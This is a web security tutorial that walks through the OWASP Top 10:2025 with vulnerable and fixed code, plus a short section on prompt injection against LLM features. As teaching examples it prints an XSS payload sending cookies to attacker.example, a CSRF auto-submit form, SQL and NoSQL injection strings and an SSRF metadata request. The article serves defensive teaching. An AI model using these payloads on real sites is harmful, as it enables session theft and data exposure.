Web Security Essentials 2026: XSS, CSRF, OWASP Top 10

Photo: Nathan Thomas / Pexels
Most successful attacks on web applications do not rely on exotic techniques. They rely on a short list of mistakes that developers keep repeating: trusting user input, forgetting to check who is allowed to do what, and leaving old libraries in place. The OWASP Top 10 is the field's running tally of those mistakes. This article walks through the main vulnerability classes in 2026, shows a vulnerable and a fixed version of each, and explains the layered defenses that still hold when one layer fails.
The OWASP Top 10:2025 in plain language
The Open Worldwide Application Security Project (OWASP) publishes a ranked list of the most serious web application risks. The 2025 edition is the current one, and it was built from more than 2.8 million contributed applications, with the data mapped to 589 weakness categories (called CWEs) instead of the nearly 400 used in 2021 (OWASP Top 10:2025 introduction). Two categories come from a community survey, and the other eight come from testing data.
| Rank | Category | What it means in practice |
|---|---|---|
| A01 | Broken Access Control | Users reach data or actions they should not, and server-side request forgery now sits here |
| A02 | Security Misconfiguration | Default settings, open services, verbose errors, missing headers |
| A03 | Software Supply Chain Failures | Vulnerable or tampered dependencies, build systems, and distribution infrastructure |
| A04 | Cryptographic Failures | Weak or missing encryption, bad password storage, exposed secrets |
| A05 | Injection | SQL, NoSQL, command injection, and cross-site scripting |
| A06 | Insecure Design | Flaws in the architecture that no amount of clean code can fix |
| A07 | Authentication Failures | Weak login, credential stuffing, broken session handling |
| A08 | Software or Data Integrity Failures | Trusting unsigned updates, plugins, or serialized data |
| A09 | Security Logging and Alerting Failures | Attacks happen and nobody notices |
| A10 | Mishandling of Exceptional Conditions | Error handling that fails open, logic errors, unhandled states |
The list: OWASP Top 10:2025. Compared with the 2021 edition, security misconfiguration rose from fifth place to second, injection fell from third to fifth, and cryptographic failures fell from second to fourth. The old "vulnerable and outdated components" category was widened into supply chain failures, and mishandling of exceptional conditions is new. The ranks did not move for broken access control, authentication failures, integrity failures, or logging.
Think of a web application as an office building. Authentication is the badge reader at the front door, authorization is which floors your badge opens, input validation is the mail room checking packages, and logging is the camera system. Most breaches are not a clever tunnel under the foundation. They are a propped-open door, a badge that opens too many floors, or a package nobody inspected.
XSS: when user content runs as your code
Cross-site scripting (XSS) happens when an application includes untrusted data in a page without making it safe, so the browser executes the attacker's script as if the site itself had written it. An analogy is a guestbook where anyone can write a note, and the host reads every note aloud as an instruction. Anything the script can do, the victim can do: read the page, make requests as the logged-in user, or, if tokens are exposed, steal the session.
The attack
A comment form accepts the following and stores it:
<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)">
If the page inserts that comment as raw HTML, every visitor who loads it sends their readable cookies to the attacker. Note that no <script> tag is needed, which is why filters that only look for the word "script" fail.
The fix: encode output for its context
OWASP's guidance is to encode data for the place where it lands: HTML entity encoding for text in the page body, and different encoders for JavaScript, URL, and CSS contexts (OWASP XSS Prevention Cheat Sheet). Modern frameworks do this by default for ordinary text.
// SAFE: React escapes text by default
function Comment({ text }) {
return <p>{text}</p>;
}
// UNSAFE: dangerouslySetInnerHTML bypasses escaping
function UnsafeComment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
The cheat sheet lists dangerouslySetInnerHTML without sanitizing as a known gap. When users must supply HTML (a rich-text editor, for example), sanitize it with a maintained library, and OWASP recommends DOMPurify for this, noting that the sanitizer must be kept patched because bypasses are discovered regularly.
import DOMPurify from 'isomorphic-dompurify';
function RichText({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
On Chromium-based browsers, Trusted Types add a further layer: they reject plain strings assigned to dangerous sinks, forcing every assignment through a vetted policy.
Content Security Policy as the second layer
A Content Security Policy (CSP) is a response header that tells the browser which scripts and resources may run. MDN describes it as defense in depth against XSS, protecting a site even if sanitization fails, and stresses that it is not an alternative to sanitizing input: "Websites should sanitize input and set a CSP" (MDN: CSP). A CSP works like a guest list at the door. A script that is not on the list does not run, even if it got into the building.
The key lesson is to avoid 'unsafe-inline'. MDN states that it "defeats much of the purpose of having a CSP," because inline JavaScript is one of the most common XSS vectors. A strict policy uses a per-response random nonce (a value the server generates for every response and puts on each trusted script) together with 'strict-dynamic':
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
The nonce must be unpredictable and different for every response. If a directive contains a nonce or hash, browsers ignore 'unsafe-inline', which lets you keep a fallback for older browsers.
In Next.js, the official guide generates the nonce in the proxy (the file formerly called middleware) and notes a real trade-off: using nonces requires dynamic rendering, which disables static optimization and incremental static regeneration, prevents CDN caching without extra configuration, and is incompatible with Partial Prerendering (Next.js: Content Security Policy). The same guide offers a header-only configuration that uses 'unsafe-inline', and it offers experimental Subresource Integrity as a hash-based route that keeps static generation. Treat the 'unsafe-inline' setup as a baseline, not as a strict policy.
// proxy.ts (abridged from the Next.js CSP guide)
import { NextRequest, NextResponse } from 'next/server';
export function proxy(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const csp = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
style-src 'self' 'nonce-${nonce}';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
`.replace(/\s{2,}/g, ' ').trim();
const headers = new Headers(request.headers);
headers.set('x-nonce', nonce);
headers.set('Content-Security-Policy', csp);
const response = NextResponse.next({ request: { headers } });
response.headers.set('Content-Security-Policy', csp);
return response;
}
Roll a new policy out in report-only mode first. The Content-Security-Policy-Report-Only header logs violations to an endpoint without blocking anything, so you can find the scripts you forgot before users do. For more on how browsers process the page this protects, see How Browsers Render Web Pages.
CSRF: tricking a logged-in browser into acting
Cross-site request forgery (CSRF) abuses the fact that browsers attach cookies automatically. If you are logged in to a site and then visit a malicious page, that page can cause your browser to send a request to the site, and the browser will include your session cookie. The site sees a valid session and has no way to know you did not click the button.
The attack
<!-- Hosted on attacker.example -->
<form action="https://yourbank.example/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>
The victim never sees the form. The browser submits it and attaches the bank's cookie.
The fix: tokens first, SameSite as a backstop
OWASP's advice is in a clear order. First, use the framework's built-in CSRF protection if it has one. For stateful applications, use the synchronizer token pattern, in which the server stores a unique, unpredictable token in the session and rejects any state-changing request that does not carry it. For stateless applications, use the signed double-submit cookie, and OWASP warns that signing a token without binding it to the session "provides minimal protection." For API calls from JavaScript, a custom request header works because it depends on the CORS preflight mechanism, and the Sec-Fetch-Site header is described as the primary signal in modern browsers, with an origin-header fallback required for older ones (OWASP CSRF Prevention Cheat Sheet).
import crypto from 'node:crypto';
// On rendering a form: create and store a per-session token
function issueCsrfToken(session) {
session.csrf = crypto.randomBytes(32).toString('hex');
return session.csrf;
}
// On submission: compare in constant time
function verifyCsrf(session, submitted) {
if (!session.csrf || !submitted) return false;
const a = Buffer.from(session.csrf);
const b = Buffer.from(submitted);
return a.length === b.length && crypto.timingSafeEqual(a, b);
}
Two practical notes. The csurf package for Express, long the default suggestion, has been archived: its repository states that it "is archived and no longer actively maintained," and the owner archived it on May 14, 2025 (GitHub: expressjs/csurf). Prefer your framework's own mechanism or a maintained library. And never change state with a GET request, since SameSite and most token schemes assume safe methods are safe.
What SameSite does and does not do
The SameSite cookie attribute tells the browser when to send a cookie on cross-site requests. Strict sends it only for same-site requests, Lax also sends it on top-level navigations using safe methods, and None sends it everywhere but requires Secure. MDN says that "some browsers" treat Lax as the default when the attribute is missing, and that this implicit default is more permissive: cookies are also included on POST requests made within two minutes of the cookie being set (MDN: Set-Cookie). Set the attribute explicitly.
OWASP is blunt about the limits: SameSite "is useful as a defense-in-depth control but it does not replace a proper CSRF defense in most deployments," and it only blocks unsafe methods, so any state-changing GET endpoint stays exposed. Use it alongside tokens.
res.cookie('__Host-session', token, {
httpOnly: true, // JavaScript cannot read it
secure: true, // HTTPS only
sameSite: 'lax', // set explicitly, do not rely on browser defaults
path: '/',
maxAge: 7 * 24 * 60 * 60 * 1000,
});
The __Host- prefix adds a guarantee: the browser accepts the cookie only if it is set by a secure page with no Domain attribute and with Path=/, so it is only sent to the host that set it. Older browsers that do not support prefixes will accept the cookie regardless, so the prefix is a bonus and not a substitute for the other attributes.
Injection: SQL, NoSQL, and commands
Injection is what happens when untrusted input is treated as code. A SQL query assembled by gluing strings together is like a form letter where the recipient can rewrite the instructions in the margins.
The attack
# UNSAFE
username = request.args.get('username')
query = f"SELECT * FROM users WHERE name = '{username}'"
cursor.execute(query)
An attacker submits admin' OR '1'='1, and the query becomes SELECT * FROM users WHERE name = 'admin' OR '1'='1', which returns every row. Worse payloads end one statement and start another, such as a DROP TABLE.
The fix: parameterized queries
Parameterized queries send the SQL structure and the data separately, so the database never interprets the data as syntax.
# Python (psycopg / DB-API style)
cursor.execute("SELECT * FROM users WHERE name = %s", (username,))
// Node.js with pg
const result = await client.query('SELECT * FROM users WHERE name = $1', [username]);
// Prisma
const user = await prisma.user.findUnique({ where: { email } });
ORMs (object-relational mappers) parameterize by default, but every one of them has an escape hatch for raw SQL, and that hatch is where injection returns. If you use a raw-query helper, use its parameter-binding form and never a template string with interpolated values. For the layer underneath, Why Database Indexes Speed Up Queries explains how the database actually executes what you send.
NoSQL and command injection
Document databases are not immune, because the attack payload is an object instead of a string. If a login handler passes req.body.username directly into a MongoDB query and the client sends {"$ne": null}, the filter matches any user with a name.
// UNSAFE: attacker sends {"username": {"$ne": null}}
db.users.find({ name: req.body.username });
// SAFER: validate the shape, then coerce
const { username } = LoginSchema.parse(req.body); // schema requires a string
db.users.find({ name: username });
The same principle applies to shell commands: never build a command string from user input. Pass arguments as an array to an API that does not invoke a shell, and validate against an allowlist.
Authentication: passwords, sessions, and passkeys
Password storage
Never store a plaintext password, and never store a fast hash such as plain SHA-256. A stolen database should force an attacker to spend real compute on every guess. OWASP's current ordering is Argon2id first, with a minimum configuration of 19 MiB of memory, two iterations, and one degree of parallelism. If Argon2id is unavailable, use scrypt with a CPU and memory cost of 2^17 (128 MiB), block size 8, and parallelism 1. Use bcrypt only for legacy systems, with a work factor of at least 10 and a maximum password length of 72 bytes because of the algorithm's input limit. If you need FIPS-140 compliance, PBKDF2-HMAC-SHA256 with 600,000 iterations is the recommendation (OWASP Password Storage Cheat Sheet).
import argon2 from 'argon2';
// Hash on signup (19 MiB = 19456 KiB, 2 iterations, 1 lane)
const hash = await argon2.hash(password, {
type: argon2.argon2id,
memoryCost: 19456,
timeCost: 2,
parallelism: 1,
});
// Verify on login
const ok = await argon2.verify(user.passwordHash, password);
The current OWASP baseline is a minimum of 10 for bcrypt and a preference for Argon2id, and in all cases you should benchmark on your own hardware and revisit the numbers as hardware improves. For how attackers actually attack stored passwords, read How Passwords Are Hacked and How to Stop It.
Multi-factor authentication and passkeys
Add a second factor for anything sensitive. Time-based one-time passwords (TOTP) are widely supported, and you should use a maintained library for the algorithm instead of writing it. Passkeys, which use public-key cryptography through the WebAuthn standard, remove the shared secret entirely and resist phishing because the credential is bound to the real site. How Passkeys Replace Passwords covers the mechanism.
Sessions
Keep session identifiers in cookies marked HttpOnly, Secure, and with an explicit SameSite, as shown above. OWASP's HTML5 guidance is direct on the alternative: "Do not store session identifiers in local storage as the data is always accessible by JavaScript," and a single XSS flaw lets an attacker read all of it (OWASP HTML5 Security Cheat Sheet). Rotate the session identifier on login and privilege change, and expire it on logout on the server side, not just in the browser.
Auth providers
For most products, a managed or well-maintained library is a better choice than a hand-built system, because login has many edge cases: account recovery, rate limiting, device management, and breach response. Options include Auth.js (formerly NextAuth), Clerk, Auth0, Supabase Auth, and Firebase Authentication. Whichever you pick, you still own authorization, which is the next topic.
Broken access control: the number one risk
Authentication asks who you are. Authorization asks what you may do. Broken access control, the top category in the 2025 list, is what happens when the second question is skipped. The classic form is the insecure direct object reference, or IDOR: the app trusts an identifier in the URL.
// UNSAFE: any logged-in user can read any profile by changing the ID
app.get('/api/users/:id/profile', async (req, res) => {
const user = await db.user.findUnique({ where: { id: req.params.id } });
res.json(user);
});
The fix is to make the authorization check part of the query, so the data the user may not see is never fetched.
// SAFE: authenticate, then authorize, then fetch
app.get('/api/users/:id/profile', requireLogin, async (req, res) => {
const isOwner = req.session.userId === req.params.id;
if (!isOwner && !req.session.isAdmin) return res.status(403).send('Forbidden');
const user = await db.user.findUnique({
where: { id: req.params.id },
select: { id: true, name: true, avatarUrl: true }, // never return the whole row
});
res.json(user);
});
Three habits make this class of bug much rarer. Deny by default, so a route with no explicit rule is closed. Enforce access rules on the server for every request, including requests that your own front end never sends. And return only the fields a role needs, because over-sharing in API responses is a common leak. For larger systems, a policy library such as CASL keeps rules in one place:
import { defineAbility } from '@casl/ability';
const ability = defineAbility((can) => {
can('read', 'Profile', { userId: currentUser.id });
if (currentUser.role === 'admin') can('manage', 'all');
});
Because HTTP status codes carry meaning in this flow (401 for "not logged in," 403 for "logged in but not allowed"), it is worth knowing how clients interpret them, as covered in How HTTP Status Codes Guide Browsers.
Server-side request forgery: your server as the attacker's proxy
Server-side request forgery (SSRF) happens when an application fetches a URL supplied by a user, such as a link preview, webhook tester, or image importer. OWASP describes it as an attacker abusing server functionality "to read or update internal resources" (OWASP: SSRF). The server can reach things the attacker cannot, including internal admin panels and the cloud metadata service.
// UNSAFE: fetches whatever the user asks for
app.get('/preview', async (req, res) => {
const page = await fetch(req.query.url);
res.send(await page.text());
});
// Attacker sends ?url=http://169.254.169.254/latest/meta-data/
On AWS, the address 169.254.169.254 hosts an instance metadata service from which credentials can be extracted. The OWASP SSRF Prevention Cheat Sheet gives the defenses in priority order (OWASP SSRF Prevention Cheat Sheet):
- Prefer an allowlist of destinations, and build the request from the matched entry, with scheme, port, and path fixed by your code. The cheat sheet's summary of blocklists is "Deny-lists are bypass-prone."
- Domain allowlisting alone does not stop DNS rebinding, so validate the resolved IP addresses and bind the connection to a validated address.
- Disable redirect following in the HTTP client, because a permitted URL can redirect to a forbidden one.
- On AWS, migrate to IMDSv2 and disable IMDSv1, and block the metadata address at the network layer.
- Enforce restrictions at the network level too, so a bug in application code does not open the door.
SSRF used to have its own slot in the Top 10. In 2025 it was folded into broken access control, which makes sense: both are failures to restrict what a request is allowed to reach.
Software supply chain failures
Modern applications are assembled from hundreds of packages, and your security is partly the security of every one of them. OWASP widened the old "vulnerable components" category into supply chain failures to cover dependencies, build systems, and distribution infrastructure.
Two incidents show the stakes. In the 2017 Equifax breach, the attackers used a flaw in the Apache Struts framework (CVE-2017-5638) for which a patch had been released on March 7, 2017. The breach began on May 12, 2017, about 66 days after the patch, and exposed data on about 147.9 million people in the United States, leading to a settlement of $575 million announced in July 2019 (Wikipedia: 2017 Equifax data breach). Log4Shell (CVE-2021-44228), disclosed in December 2021 in the Log4j logging library, carried the maximum CVSS score of 10 and let attackers run code on servers that merely logged a crafted string. One analysis by Wiz and EY found it affected 93 percent of enterprise cloud environments (Wikipedia: Log4Shell).
The lesson is not that open-source packages are unsafe. It is that you need to know what you run and be able to update it quickly.
# Check installed packages against known vulnerabilities
npm audit
# Apply compatible fixes (review the diff before committing)
npm audit fix
# Reproducible installs from the lockfile in CI
npm ci
Automate the boring part. GitHub Dependabot and Renovate open pull requests when a vulnerable version is detected, and static analysis such as CodeQL and dependency scanners such as Snyk add coverage. Commit your lockfile, pin versions in CI, and review major-version bumps instead of merging them blindly, because updates can break things. A short, fast patch process is worth more than a perfect one that nobody runs. For broader context on attacker behavior, see Cybersecurity Threats in 2026.
File uploads
Uploads combine several risks: path traversal, executable content placed in a web-accessible folder, storage exhaustion, and files whose type is not what they claim. OWASP's file-upload guidance includes allowing only the extensions the business needs, not trusting the Content-Type header because it can be spoofed, renaming files to server-generated names, storing files outside the web root or on a separate server, setting size limits, and scanning for malware (OWASP File Upload Cheat Sheet). The guide stresses that no single control is sufficient.
import multer from 'multer';
import path from 'node:path';
import crypto from 'node:crypto';
const ALLOWED = new Set(['.jpg', '.jpeg', '.png', '.webp']);
const upload = multer({
storage: multer.diskStorage({
destination: '/var/uploads', // outside the web root
filename: (req, file, cb) => {
// Never reuse the client's filename
const ext = path.extname(file.originalname).toLowerCase();
cb(null, `${crypto.randomUUID()}${ext}`);
},
}),
limits: { fileSize: 5 * 1024 * 1024 }, // 5 MB
fileFilter: (req, file, cb) => {
const ext = path.extname(file.originalname).toLowerCase();
cb(null, ALLOWED.has(ext)); // extension allowlist
},
});
An extension check is a first filter, not proof. After upload, inspect the file's actual content with a library that reads the file signature, re-encode images if you can, and serve user uploads from a separate domain or from object storage (such as S3, R2, or GCS) with signed URLs, so uploaded content is never executed in your application's origin.
API security: rate limits, validation, and secrets
Rate limiting
Rate limiting caps how often a client can call an endpoint, which blunts brute-force logins, credential stuffing, scraping, and some denial-of-service attempts. Limit by IP and by account, and be stricter on login and password-reset routes. How Rate Limiting Protects APIs covers the algorithms (fixed window, sliding window, token bucket) and the trade-offs.
import rateLimit from 'express-rate-limit';
// General API limit
app.use('/api/', rateLimit({ windowMs: 15 * 60 * 1000, limit: 100 }));
// Stricter on login; count only failures
app.use('/api/login', rateLimit({
windowMs: 60 * 1000,
limit: 5,
skipSuccessfulRequests: true,
}));
Option names change between library versions, so check the current documentation. For multiple servers, keep counters in a shared store such as Redis, or enforce limits at the edge.
Input validation
Validate the shape, type, and range of every input on the server, even if the browser already did. A schema library makes this declarative and also fixes the NoSQL-style type confusion shown earlier.
import { z } from 'zod';
const SignupSchema = z.object({
email: z.string().email(),
password: z.string().min(12).max(72),
age: z.number().int().min(18).max(120),
});
app.post('/signup', async (req, res) => {
const result = SignupSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ errors: result.error.flatten() });
}
const { email, password, age } = result.data;
// proceed with validated data
});
Validation is a correctness tool and an attack-surface reducer, but it is not a substitute for output encoding or parameterized queries. Each defends a different boundary.
Secrets
Secrets in source code end up in git history, build logs, and screenshots. Keep them in environment variables or, better, a secrets manager (AWS Secrets Manager, Google Secret Manager, or HashiCorp Vault), keep .env files in .gitignore, and rotate any key that has ever been committed, because deleting the file does not remove it from history.
// BAD: secret in source
const stripeKey = "sk_live_example";
// BETTER: injected at runtime
const stripeKey = process.env.STRIPE_SECRET_KEY;
HTTPS and security headers
Serve everything over HTTPS and tell browsers to insist on it. The Strict-Transport-Security (HSTS) header instructs browsers that a host should only be accessed over HTTPS and that future HTTP attempts should be upgraded automatically. MDN's examples use a max-age of 31536000 seconds (one year), and for the preload directive the max-age must be at least 31536000 and includeSubDomains must be present (MDN: Strict-Transport-Security). Be careful with preloading: MDN notes the preload list is maintained separately and is not part of the HSTS specification, so confirm every subdomain supports HTTPS before opting in.
import helmet from 'helmet';
app.use(helmet()); // sensible defaults
app.use(helmet.hsts({
maxAge: 31536000,
includeSubDomains: true,
}));
Other headers worth setting:
| Header | Purpose |
|---|---|
Content-Security-Policy |
Restrict script and resource origins (see XSS) |
X-Content-Type-Options: nosniff |
Stop browsers from guessing content types |
frame-ancestors (in CSP) or X-Frame-Options |
Block clickjacking by controlling who can frame your pages |
Referrer-Policy: strict-origin-when-cross-origin |
Limit URL leakage to other sites |
Permissions-Policy |
Disable browser features you do not use |
Scanning tools such as securityheaders.com give a quick report, but treat a high score as a check on configuration, not proof that the application is secure. Content delivery networks can add some of these headers at the edge, and How CDN Caching Speeds Up Websites explains the layer that sits in front of your servers.
Logging, alerting, and failing safely
Two of the ten categories are about what happens around an attack. Security logging and alerting failures mean breaches go undetected, and mishandling of exceptional conditions, new in 2025, covers error handling, logic errors, and failing open. The common pattern is that an unexpected state, such as a timeout from the authorization service, is treated as permission.
// UNSAFE: fails open
async function canAccess(user, resource) {
try {
return await policyService.check(user, resource);
} catch (err) {
return true; // "don't block users if the policy service is down"
}
}
// SAFE: fails closed, and records the failure
async function canAccess(user, resource) {
try {
return await policyService.check(user, resource);
} catch (err) {
logger.error({ event: 'policy_check_failed', userId: user.id, resource: resource.id });
return false;
}
}
Log events that help you reconstruct an incident: authentication successes and failures, authorization denials, validation failures, privilege changes, and unexpected errors. Do not log passwords, full card numbers, session tokens, or personal data you do not need. Alert on patterns that need a human, such as many failed logins from one source, access to many records in a short time, or repeated authorization denials. Web App Monitoring Tools 2026 compares tools for the monitoring side.
Adding an LLM to your app adds a new attack surface
Features that pass user text to a large language model create a vulnerability that has no clean analog in older web security: prompt injection. OWASP's list for LLM applications (the 2025 edition) puts it first and distinguishes two forms. Direct prompt injection is when a user's input alters the model's behavior. Indirect prompt injection is when the model processes external content, such as a web page or file, that contains hidden instructions (OWASP LLM01:2025).
The risk becomes serious when the model can take actions. A chatbot that only answers questions can leak text. An assistant that can send email, query a database, or call internal APIs can be steered into doing so on an attacker's behalf. OWASP's listed mitigations include constraining the model's role, validating output formats with deterministic code, filtering input and output, enforcing least privilege so that privileged operations run through application code with the app's own credentials, requiring human approval for high-risk actions, labeling untrusted external content, and treating the model as an untrusted user during adversarial testing. The same page notes that it is unclear whether prompt injection can be fully prevented, so design as if some injections will succeed and limit what a successful one can do. Prompt Injection Explained goes into the mechanics.
Testing your own defenses
| Approach | What it finds | Examples |
|---|---|---|
| Dependency scanning | Known vulnerable packages | npm audit, Dependabot, Renovate, Snyk |
| Static analysis | Insecure code patterns before they run | GitHub CodeQL |
| Dynamic scanning | Misconfigurations and common flaws in a running app | OWASP ZAP, Burp Suite |
| Code review with a security checklist | Missing authorization checks, unsafe sinks | Human review of every route that touches data |
| Penetration testing | Chained, logic-level, and design flaws | Periodic external tests for important apps |
| Bug bounty programs | Real-world attacker creativity | HackerOne, Bugcrowd |
No scanner replaces thinking about authorization, because a tool cannot know which user should see which record. Write tests for it: log in as user A, request user B's resource, and assert that the response is a 403.
Common misconceptions
| Belief | Reality |
|---|---|
| "My framework escapes everything, so XSS is solved" | Frameworks escape ordinary text. Raw HTML sinks such as dangerouslySetInnerHTML, URLs, and third-party scripts still need care |
| "SameSite cookies mean I do not need CSRF tokens" | OWASP calls SameSite a defense-in-depth layer, not a replacement, and Lax-by-default includes a two-minute POST window |
| "An ORM makes SQL injection impossible" | Parameterization is the protection, and raw-query escape hatches bypass it |
| "Hiding the admin URL protects it" | Access control must be enforced on the server for every request |
| "Hashing passwords with SHA-256 is fine" | General-purpose hashes are fast, which helps attackers. Use Argon2id, scrypt, or bcrypt |
| "Security is a launch checklist" | Dependencies change and new CVEs appear weekly. It is a continuous process |
| "A WAF or an LLM guardrail will stop everything" | These reduce risk but do not replace secure design and least privilege |
The takeaway
The most useful way to hold all of this in your head is that web security is mostly about boundaries. Data crosses a boundary when it enters your system, when it is written to a page or query, when a request arrives with a session, and when your code calls out to something else. Every vulnerability class in this article is a boundary where one side forgot that the other side might be hostile: output encoding for the browser boundary, parameterization for the database boundary, authorization for the user boundary, allowlists for the network boundary, and patching for the dependency boundary.
Layers matter because every single control will eventually fail somewhere. A CSP catches the XSS that slipped through sanitization, SameSite catches the CSRF token that was missed, and logging catches the attacker who got past both. Build the cheap controls early and make them automatic, since retrofitting after an incident is slower and more expensive than getting the basics right at the start.
Frequently asked questions
Q: How much security is enough? A: Start with the OWASP Top 10 as a baseline, then scale to your risk. An app storing payment or health data needs far more rigor than a static brochure site. A reasonable minimum is parameterized queries, output encoding, server-side authorization, hashed passwords, HTTPS, and automated dependency updates.
Q: Should I write my own authentication? A: Usually not. Authentication has many edge cases, including account recovery, rate limiting, and session rotation. Use a maintained library or a managed provider, and spend your effort on authorization, which no provider can write for you.
Q: How often should I audit? A: Continuously for dependencies, using automated update tools. Review authorization logic whenever you add a route or role. For applications that handle sensitive data, an external penetration test at a regular interval, such as annually, is a common practice.
Q: Are static sites secure by default? A: They have a much smaller attack surface because there is no server-side code to exploit, but they are not immune. Third-party scripts, form handlers, hosting account takeovers, and misconfigured storage buckets are still risks, and a CSP still helps.
Q: Is a CSP with unsafe-inline worth setting?
A: It still restricts external script origins, framing, and form targets, so it has some value. MDN warns that unsafe-inline defeats much of the purpose of a CSP, though, because inline scripts are a main XSS vector. Treat it as a stepping stone toward a nonce- or hash-based policy.
Q: Does GDPR overlap with security? A: Significantly. Data protection laws require appropriate technical measures to protect personal data, so good security is necessary for compliance, but compliance also covers consent, retention, and user rights, so security alone is not sufficient.
Sources
- OWASP Top 10:2025 and its introduction
- OWASP Cheat Sheet Series: Password Storage, CSRF Prevention, XSS Prevention, SSRF Prevention, File Upload
- MDN: Content Security Policy, Set-Cookie, and Strict-Transport-Security
- Next.js documentation: Content Security Policy
- OWASP LLM01:2025 Prompt Injection
Related Articles
Follow new articles
Add SciHub101 to your feed reader to see new science and technology stories.
About the Author
SciHub101 is an independent science and technology publication founded and edited by Buğra Sözeri, a software engineer and app developer based in Türkiye. AI tools assist with drafting and research. Source documentation in the existing archive is uneven, and articles are being reviewed and corrected. The Editorial Team byline identifies editorial responsibility; it does not certify specialist or independent human review. Where we compare products, anything built by our own team is labelled as such — see the editorial guidelines and About page for how corrections and disclosures work.
Related Articles

CSS-in-JS vs Tailwind 2026 — Why Tailwind Took Over
CSS-in-JS vs Tailwind in 2026: runtime cost, Server Components, dark mode, migration, and where each still wins, with sourced benchmarks and docs.

Build Tools Compared 2026 — Vite, Webpack, Turbopack, Bun
Vite, webpack, Turbopack, Bun, Rspack and Rolldown compared for 2026: how each works, where each wins, and what the benchmarks do and do not show.

What Is HTMX? Hypermedia for Modern Web
HTMX explained: how this 14KB library lets you build dynamic web apps with HTML attributes instead of a JavaScript framework, plus how it actually works.

Docker Explained — Containers for Beginners
Learn Docker from scratch: containers vs VMs, Dockerfiles, docker-compose, and how to ship a Node.js app reliably across any environment.

Web App Monitoring Tools 2026 — Sentry & Datadog Picks
Web app monitoring tools 2026: Sentry vs Datadog vs Better Stack. Error tracking, performance monitoring, uptime, logs. Build a production monitoring stack.

htmx vs React 2026 — When to Skip the JavaScript Framework
htmx vs React in 2026: how server-sent HTML fragments compare with client-rendered JavaScript, where each fits, and what a documented React-to-htmx port saved.